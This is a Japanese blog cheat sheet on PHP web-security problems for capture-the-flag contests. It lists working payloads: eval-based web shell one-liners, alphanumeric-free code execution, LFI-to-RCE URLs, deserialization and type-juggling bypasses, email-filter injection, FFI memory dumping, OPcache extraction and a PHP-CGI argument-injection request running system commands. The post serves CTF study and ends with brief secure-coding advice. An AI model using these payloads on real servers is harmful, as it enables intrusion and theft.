はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるPHP問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

PHP問題

Webサーバのフロントエンド、バックエンドとして普及しているPHPにはセキュリティ的課題が多い。

eval関数による任意phpコード実行

  • <?php eval($_POST['cmd']); ?>となりうるコードがあると危険
  • ワンライナー一覧
    • RCE system("ls -la ./"); <?='cat /flag';
    • ls foreach(new DirectoryIterator('glob:///*') as $f){ echo $f."\n"; } print_r(scandir('./')); var_dump(scandir("/var/www/html"));
    • cat readfile(glob('*')[0]); eval(system('cat /flag')); show_source('./flag.txt');
      • base64で出したい var_dump(base64_encode(readfile("../../../flag.so")));
    • 定義済み配列をすべて出す print_r(get_defined_vars())
  • phpファイルを動かすには
    • XX.phpをアップロードする(.phpじゃない拡張子でやりたい場合は、.htaccessを書き換える)
    • <?php ... ?><?=...?>を作る

数字もアルファベットも使用しないで、PHPコード実行ができる

<?= $_=[] ?> 
<?= $_=@"$_" ?>
<?= $_=$_[('!'=='@')] ?>

<?= $__ = $_ ?>
<?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ ?>
<?= $_______ = "_".$__ ?>

<?= $__ = $_ ?>
<?= @$____ = $__++ + $__++ + $__++ + $__++ ?>
<?= $_______ .= $__ ?>

<?= $__ = $_ ?>
<?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ ?>
<?= $_______ .= $__ ?>

<?= ${$_______}["_"](${$_______}["__"]) ?>

これをアップロードして、127.0.0.0.1/index.php?_=system&__=lsのように使う

$__="`{{{"^"?<>/";${$__}['_'](${$__}['__']); // GET (?_=var_dump&__="ab"みたいに使用)
$__='#./|{'^'|~`//';${$__}['_'](${$__}['__']); // POST

// 使ったやつ
?warmup=$__="`{{{"^"?<>/";${$__}['_'](${$__}['__']);&_=highlight_file&__=flag.php

LFI: Local File Injection

  • 例えば?page=homeとか?page=ab.phpとかなっていれば、LFIが使える場合がある
  • PHP的にはinclude($_GET['page']);のような感じになっている
  • LFIの詳細については、別途ページで記載予定。簡単に今は書いておく

include先でechoしているものはechoされた後のコードで得られる

以下のようなindex.phpがあるとする。

echo $_GET['a'];
include($_GET['b']);
  • /index.php?b=http://localhost/index.php/?a=%3C?system(%22ls%22);?%3EでRCE成立
  • localhostとしているのは、インターネット外部からのLFIができない環境を想定している
  • 外部接続できるなら、外部から持ってくればいいしね

安全でないデシリアライゼーション

  • 外部からデシリアライズするデータを渡せるとき、意図しないクラスの意図しない状態のインスタンスを生成するテク 徳丸さん記事 OWASP
  • 細かくは別途ページで記載予定。
  • オブジェクトの変数(プロパティ)をインジェクションできる
    • シリアライズ時に__constructは呼ばれない
    • だが、__destructや特殊な関数は呼ばれる可能性があり、そこでインジェクションしておいた変数の値を使って、いろんなことを行う ここに網羅されてる

汚染用のクラスのシリアライゼーションを取得するには

<?php
class Foo {
    private $msg = "evil message";
}
echo urlencode(serialize(new Foo));

他攻撃組合せ

  • XXE
    • simplexml_load_string関数
  • SQL Injection

PHPの言語的な所

  • PHP Type Juggling
    • PHPの比較は弱いことが知られている
    • !strcasecmp($_POST['flag'], $flag), strcmp($_POST['password'], $password) == 0
      • 実はバイパス可能
      • $_POST['flag'] = []となるようにPOSTで与えてやれば、全体をtrueにすることができる
      • 配列を渡すにはflag%5B%5D=こんな感じにすればいい(flag[]=のURLエンコーディング後)
      • htmlでは<input type="hidden" name="flag[]" value=""/>こんな感じ
    • '1234a' == 1234は真となる
      • でもis_numeric('1234a')はしっかりfalseなので、is_numericのバイパスに使える
    • magic hash
      • '0e????' = '0'が成り立つ。左辺はMD5ハッシュで出てくる可能性があるので、ハッシュを調整してこの状態を作る問題がある
        • ?には0-9が入る必要がある
      • この問題では、./flag.txt, .//flag.txt, .///flag.txtのようにスラッシュを増やしていっても問題ないことを利用してハッシュを変えて全探索していた
        • 881回スラッシュで出てきた
      • magic hash一覧 https://github.com/spaze/hashes
        • MD5 QNKCDZO 240610708
        • SHA256 34250003024812 aaroZmOk 0e9682187459792981
  • parse_url関数
    • バージョンによってはhttp://websec.fr/level25/index.php?page=main&send=%E9%80%81%E4%BF%A1&a=1:2が失敗する
    • :が値に入っていると失敗する。失敗すると、戻り値がnullになる
  • $_SERVER['PHP_SELF']とbasename関数
    • Injection可能 $_SERVER['PHP_SELF']は危険? - [PHP + PHP] ぺんたん info
    • basename関数は、localeを適切に設定しないと、マルチバイト文字を無視する仕様になっている
      • より具体的には\x80-\xffを無視する?
    • 以下実験メモ
      • http://localhost/index.php/config.php
        • $_SERVER['PHP_SELF'] = /index.php/config.php
        • basename($_SERVER['PHP_SELF']) = config.php
      • http://localhost/index.php/config.php/a
        • $_SERVER['PHP_SELF'] = /index.php/config.php/a
        • basename($_SERVER['PHP_SELF']) = a
      • http://localhost/index.php/config.php/あ?source ※ %E3%81%82 = あ
        • $_SERVER['PHP_SELF'] = /index.php/config.php/あ
        • basename($_SERVER['PHP_SELF']) = config.php
  • $address = filter_var($address, FILTER_VALIDATE_EMAIL);でメールアドレスチェック
    • ""@a.bとすると通る
    • 例えば"'whoami'"@example.comとすると、whoamiが解釈されて"markus"@example.comとなったりする
    • '||1#@i.iもvalid(SQLinjectionで成功する)
    • RCEもある
      • "attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.coこんな感じ?ちょっと分からない
  • エラーを出したいとき(未検証)
    • error_reporting(E_ALL); ini_set('error_reporting', E_ALL); ini_set('display_errors', '1');
  • GETリクエストの解釈違い
    • ?username=abc&username=efgとなった場合
      • $_GET["username"] -> efg
      • new URL(location).searchParams.get("username") -> abc
  • PHPでリダイレクトをしたらdie,exitを呼び出しなさい
  • PHPのgetパラメタ配列化Attack
    • CTFtime.org / Chujowy CTF 2020 / SHA256 Collision
      • https://web5.chujowyc.tf/?a[]=0&b[]=1で突破可能
      • $ha = hash("sha256", $_GET['a']); // $ha === null
      • $_GET['a'] !== $_GET['b']のように配列の===比較では中身までちゃんと見てくれる
  • .user.ini
  • ob_start関数
    • バッファを一旦保持しておいて、決まったタイミングでflushする機構
    • ob_startで保持されたバッファは、fatal errorが発生すれば強制的にflushされたりする
      • CTFtime.org / 3kCTF-2020 / xsser
      • この問題では、unserialize関数でO:11:"Traversable":0:{}を入れてfatal errorを起こしていた
        • Traversableクラスは抽象クラスなので、抽象クラスを作ろうとしてfatal errorが出てくる
  • is_numeric
    • 数値の前に%09, %20,%0a,%0b,%0c,%0dが来てもtrueになる
    • trueになるやつ 1e9
  • preg_replace関数
    • 1回しかreplaceしないので、selSELECTectみたいにすればいい
  • md5関数の誤用

FFIについて

  • PHPからdllファイルを読み込んで実行できる機構
  • $ffi = FFI::load('/flag.h');$a = $ffi->flag_fUn3t1on_fFi();var_dump(FFI::string($a));みたいな感じ
  • メモリ抜き出しも行える
$a = FFI::new ('uint8_t[256]', true, false);
$a = FFI::cast ('uint8_t *', $a);
$n = 1024*512;
for($i=0;$i<$n+(1024*1024);$i++){
    echo chr($a[(-$n)+$i]);;
}

phpinfo

  • 見方
    • System: OSがWindowsLinux
    • Registered PHP Streams, Registered Stream Filters: 使えるストリームが分かる(php://とか)
    • extension_dir: php拡張モジュールのパス(いつ使う?)
    • short_open_tag: <?=,<? echo,<? ?>が使えるかどうか
    • disable_functions: 使えない関数が列挙されている
    • open_basedir
      • ここにフォルダパスが書かれている場合は、ファイルオープンはこのパス以下じゃないとダメ。
      • でも、DirectoryIteratorを使えば任意の場所のlsができる。
      • FFI::loadもこれの影響を受けない。
    • SERVER_ADDR: サーバのIPアドレス
    • DOCUMENT_ROOT: ルートディレクト
      • linuxなら/var/www/htmlが普通?
    • session: セッションの設定が見られる(todo: 観点は?)
      • セッションが保存されている場所や使用可能な場所を確認することができる
    • gopher: これがあればSSRFできるかも
    • fastcgiが有効になってればRCEとかできたりする(todo: どうやって確認?)
    • allow_url_include: 有効ならLFIできる?(よくわかってない)
    • allow_url_fopen: 有効ならLFIできる?(よくわかってない)
      • urlで外部ファイルをfopenできるってだけ?
      • REMOTE FILE INCLUSIONというらしい
    • asp_tags: aspタグを解析するために有効になっている
    • magic_quotes_gpc: adslashes() のような文字をエスケープ
    • libxml 2.9 より前のバージョンでは、外部エンティティへの参照をデフォルトでサポートしていたため、XXEできる
    • opcacheはPHPコードをコンパイルしてキャッシュしておくもの
    • imapが有効なら、CVE-2018-19518かも
    • upload_tmp_dir: 一時ファイルが保存されているフォルダが表示されますが、ファイル名はランダム
  • 参考

OPcache

PHPのキャッシュ機構。以下攻撃手法

  1. phpinfoを見て、opcacheが有効か確認
  2. opcache.file_cache = /var/www/cache/ならば/var/www/cache/[system_id]/var/www/html/flag.php.binを探せばいい。
  3. これのsystem_id_scraper.pyを使ってsystem_idを抜き出す python ./system_id_scraper.py http://carthagods.3k.ctf.to:8039/info.php

PHP脆弱性

POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
...

<?php system('cat /etc/hosts');exit;

フレームワークやソフトウェア依存

PHP難読化

  • YAK Pro
<?php
goto IF8nM; xf_W1: FNJF5: goto C3HKQ; FwMGj: echo $GPDVR; goto Caizj; rOdKz: r9mi3: goto EDaji;

こんな感じになる。根性で解読する。

SQL Injection問題 CTF

Practicalな話

実装時に気を付けること

一応、気が付いたら追記していくが、PHPで実装に気を付ける所は枚挙にいとまがない。
全部気を付けていても漏れがたぶんある。
多重防御というか、どこか漏れていてもどこかでガードできるように、全ての部分にセキュリティ的配慮を持とう。

以下に気を付ける部分を書いていくが、書きかけ記事であり、うのみにしてはいけない。
自分のメモを全体共有しているだけ。
書ききったかな?と思ったら埋め込み文章形式を外す予定。

- SQL文を作成する場合はプリペアードステートメント
- 比較文は基本===でやる
- evalは使わない
- セッションは自分では作らない

(CTFじゃ使えないけど)テストツール

未調査。

memo